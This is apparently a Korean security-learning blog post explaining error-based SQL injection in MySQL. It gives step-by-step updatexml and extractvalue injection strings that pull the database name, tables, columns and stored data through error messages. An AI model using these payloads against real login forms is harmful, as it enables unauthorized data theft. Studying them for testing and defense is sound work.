데이터베이스 시스템에서 제공하는 에러를 이용하여 정보를 탈취하는 방법이다.
1. Error 출력 여부 확인
입력이 주어지는 페이지에서 논리적으로 잘못된 구문을 입력하는 경우 Error가 출력되는지 우선 확인한다.
출력이 되어야 Error based SQL Injection을 수행할 수 있기 때문이다.
만약 논리적으로 에러인 구문을 입력했을 경우 Error가 출력되면 "~ syntax error ~"가 출력된다.
이 때 mysql에서 에러를 유도하여 공격에 쓰이는 함수는 Updataxml과 Extractxml 함수로 공격 방법은 아래와 같다.
2. Updatexml 을 이용한 SQL Injection
updatexml(xml_target, xpath_expr, new_xml)
updatexml 함수는 지정된 xml_target에 xpath_expr의 xpath 표현식과 일치하는 부분이 존재하면 xml_target을 new_xml로 변경하는 함수이다.
updatexml(null, concat(0x3a, (쿼리문)), null)
그런데 위처럼 xml_target과 new_xml을 null로 지정해주면 xml_target과 xpath_expr의 xpath 표현식과 일치하는 부분이 존재하지않아 논리적 에러가 발생하는데, 이 과정에서 중간에 concat함수에 작성된 쿼리문이 syntax 에러에 포함된다.
우리는 이를 이용하여 SQL Injection을 수행할 것이다.
(0) 기본 가정
위와 같은 테이블이 loginDB라는 데이터베이스에 저장되어 있다고 하자.
(1) 데이터베이스명 파악
select database()로 데이터베이스명을 알 수 있으므로 ID입력창에
1' and updatexml(null, concat(0x3a, (select database())),null) 을 입력하면
select * from Users where id='1' and updatexml(null, concat(0x3a, (select database())),null); 쿼리문이 작성된다.
그리고 출력되는 syntax error 구문 내용 콜론 뒤에 select database() 내용, 즉 데이터베이스명이 출력된다.
(2) 테이블명 파악
테이블명은 information_schema.tables라는 테이블의 table_name 속성에 저장되어있다.
단, Error 구문을 통해 출력할 수 있는 값은 하나이기 때문에 출력의 개수를 1개로 제한해야한다.
이 때 사용되는 함수는 limit으로 limit n,m 으로 사용될 경우, n번째 인덱스부터 m개를 출력하겠다는 의미이다.
따라서 ID입력창에
1' and updatexml(null, concat(0x3a, (select table_name from information_schema.tables WHERE table_schema='$데이터베이스명' limit 0,1)),null) and '1'='1 을 입력하면
select * from Users where id='1' and updatexml(null, concat(0x3a, (select table_name from information_schema.tables WHERE table_schema='$데이터베이스명' limit 0,1)),null) and '1'='1'; 쿼리문이 작성된다.
입력한 해당 데이터베이스에 속한 테이블명 하나를 출력한다.(limit 뒤의 숫자 조정을 통해 다른 테이블명을 출력 가능)
(3) 속성명 파악
속성명은 information_schema.columns라는 테이블의 column_name 속성에 저장되어있다.
이 역시 1개의 출력 값이 나오도록 limit 함수를 사용한다. 따라서 ID 입력창에
1' and updatexml(null, concat(0x3a, (select column_name from information_schema.columns
WHERE table_name='$테이블명' limit 0,1)),null) and '1'='1 을 입력하면
select * from Users where id='1' and updatexml(null, concat(0x3a, (select column_name from information_schema.columns WHERE table_name='$테이블명' limit 0,1)),null) and '1'='1'; 쿼리문이 작성된다.
(4) 데이터 추출
위에서 알아낸 테이블과 속성명을 이용하여 필요한 데이터를 추출한다. 따라서 ID 입력창에
1' and updatexml(null, concat(0x3a, (select $속성명 from $테이블명 limit 0,1)), null) and '1'='1 을 입력하면
select * from Users where id='1' and updatexml(null, concat(0x3a, (select $속성명 from $테이블명 limit 0,1)), null) and '1'='1'; 라는 쿼리문이 작성된다.
3. Extractvalue를 이용한 SQL Injection
extractvalue(0x0a,concat(0x0a,concat(0x0a,(실행할_쿼리))))
를 위의 Updatexml대신 사용하면 똑같이 사용이 가능하다.
'웹 모의해킹 > SQL Injection' 카테고리의 다른 글
Blind Based SQL Injection (0) | 2022.11.09 |
---|---|
UNION Based SQL Injection (0) | 2022.11.06 |
로그인 Case별 SQL Injection (0) | 2022.11.05 |
SQL Injection (0) | 2022.11.01 |
우분투에서 MySQL 사용법 (0) | 2022.11.01 |